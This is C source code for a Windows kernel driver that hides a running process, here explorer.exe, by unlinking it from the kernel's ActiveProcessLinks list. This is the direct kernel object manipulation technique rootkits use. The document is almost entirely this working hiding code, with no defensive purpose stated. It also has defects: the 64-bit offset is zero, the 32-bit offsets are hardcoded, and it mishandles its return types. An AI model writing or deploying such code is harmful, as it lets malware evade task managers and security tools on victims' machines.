内核隐藏进程

#include <ntifs.h>
#include <ntddk.h>
#include <Ntstrsafe.h>

NTKERNELAPI UCHAR *PsGetProcessImageFileName(PEPROCESS Process);


#ifndef MAX_PATH
#define MAX_PATH          260
#endif


DWORD                   g_OsVersion;                                            //系统版本  
																				//操作系统版本  
#define WINXP                   51  
#define WIN7                    61  
#define WIN8                    62  
#define WIN81                   63  
#define WIN10                   100  

																				//获取系统版本  
BOOLEAN GetOsVer(void);


ULONG_PTR EprocessActiveProcessLinks;

//获取ActiveProcessLinks
ULONG_PTR GetEprocessActiveProcessLinks();

//隐藏进程
NTSTATUS HideProcess(ULONG Processid);

//获取进程Processid
ULONG GetProcessProcessid(char* pProcessName);

VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{

	return;
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
	NTSTATUS status;
	DriverObject->DriverUnload = DriverUnload;

	DbgBreakPoint();
	HideProcess(GetProcessProcessid("explorer.exe"));
	return STATUS_SUCCESS;
}

//隐藏进程
NTSTATUS HideProcess(ULONG Processid)
{
	//定义变量
	KIRQL Kirql;
	PLIST_ENTRY plistprocsTarge = NULL;
	PLIST_ENTRY plistprocsSource = NULL;
	NTSTATUS status;
	PEPROCESS Process = NULL;

	//参数效验
	if (Processid <= 4)return STATUS_UNSUCCESSFUL;

	//获取系统
	if (GetOsVer() == FALSE)return STATUS_UNSUCCESSFUL;

	//获取ActiveProcessLinks
	if (EprocessActiveProcessLinks == NULL)
	{
		EprocessActiveProcessLinks = GetEprocessActiveProcessLinks();
		if (EprocessActiveProcessLinks == NULL)return STATUS_UNSUCCESSFUL;
	}

	//获取PEPROCESS
	status = PsLookupProcessByProcessId(Processid, &Process);
	if (NT_SUCCESS(status))
	{
		plistprocsSource = (PLIST_ENTRY)((ULONG_PTR)Process + EprocessActiveProcessLinks);
		Kirql = KeRaiseIrqlToDpcLevel();
		//*((PULONG_PTR)plistprocsSource->Blink) = (ULONG_PTR)plistprocsSource->Flink;
		//*((PULONG_PTR)plistprocsSource->Flink + 1) = (ULONG_PTR)plistprocsSource->Blink;
		RemoveEntryList(plistprocsSource);
		InitializeListHead(plistprocsSource);
		KeLowerIrql(Kirql);
		ObfDereferenceObject(Process);
	}
	return status;
}


//获取ActiveProcessLinks
ULONG_PTR GetEprocessActiveProcessLinks()
{
	//_EPROCESS 

#ifdef _WIN64
	EprocessActiveProcessLinks = 0x00;
#else
	switch (g_OsVersion)
	{
	case WINXP:
		EprocessActiveProcessLinks = 0x088;
		break;
	case WIN7:
	case WIN8:
	case WIN81:
	case WIN10:
		EprocessActiveProcessLinks = 0x0b8;
		break;
	default:
		break;
	}
#endif

	return EprocessActiveProcessLinks;
}


//获取进程Processid
ULONG GetProcessProcessid(char* pProcessName)
{
	//参数效验
	if (MmIsAddressValid(pProcessName) == FALSE)return NULL;


	//定义变量
	PEPROCESS pEprocess = NULL;
	NTSTATUS ntstatus = STATUS_SUCCESS;
	UCHAR *szProcessName = NULL;
	ULONG	Processid = 0;

	for (int i = 4; i < 10000; i = i + 4) //一般来说没有超过100000的PID和TID
	{
		//进程ID和返回一个引用指针的过程EPROCESS结构
		ntstatus = PsLookupProcessByProcessId((HANDLE)i, &pEprocess);
		if (NT_SUCCESS(ntstatus))//STATUS_INVALID_CID
		{
			if (pEprocess != NULL)
			{
				//比较进程名
				szProcessName = PsGetProcessImageFileName(pEprocess);
				if (szProcessName)
				{
					if (_stricmp((char*)szProcessName, pProcessName) == 0)
					{
						ObfDereferenceObject(pEprocess);
						return (HANDLE)i;
						
					}
				}
			}
			ObfDereferenceObject(pEprocess);
		}
	}

	return NULL;

}

//获取系统版本  
BOOLEAN GetOsVer(void)
{

	ULONG    dwMajorVersion = 0;
	ULONG    dwMinorVersion = 0;
	PsGetVersion(&dwMajorVersion, &dwMinorVersion, NULL, NULL);
	if (dwMajorVersion == 5 && dwMinorVersion == 1)
		g_OsVersion = WINXP;
	else if (dwMajorVersion == 6 && dwMinorVersion == 1)
		g_OsVersion = WIN7;
	else if (dwMajorVersion == 6 && dwMinorVersion == 2)
		g_OsVersion = WIN8;
	else if (dwMajorVersion == 6 && dwMinorVersion == 3)
		g_OsVersion = WIN81;
	else if (dwMajorVersion == 10 && dwMinorVersion == 0)
		g_OsVersion = WIN10;
	else
	{
		g_OsVersion = 0;
		KdPrint(("未知版本"));
		return FALSE;
	}

	return TRUE;
}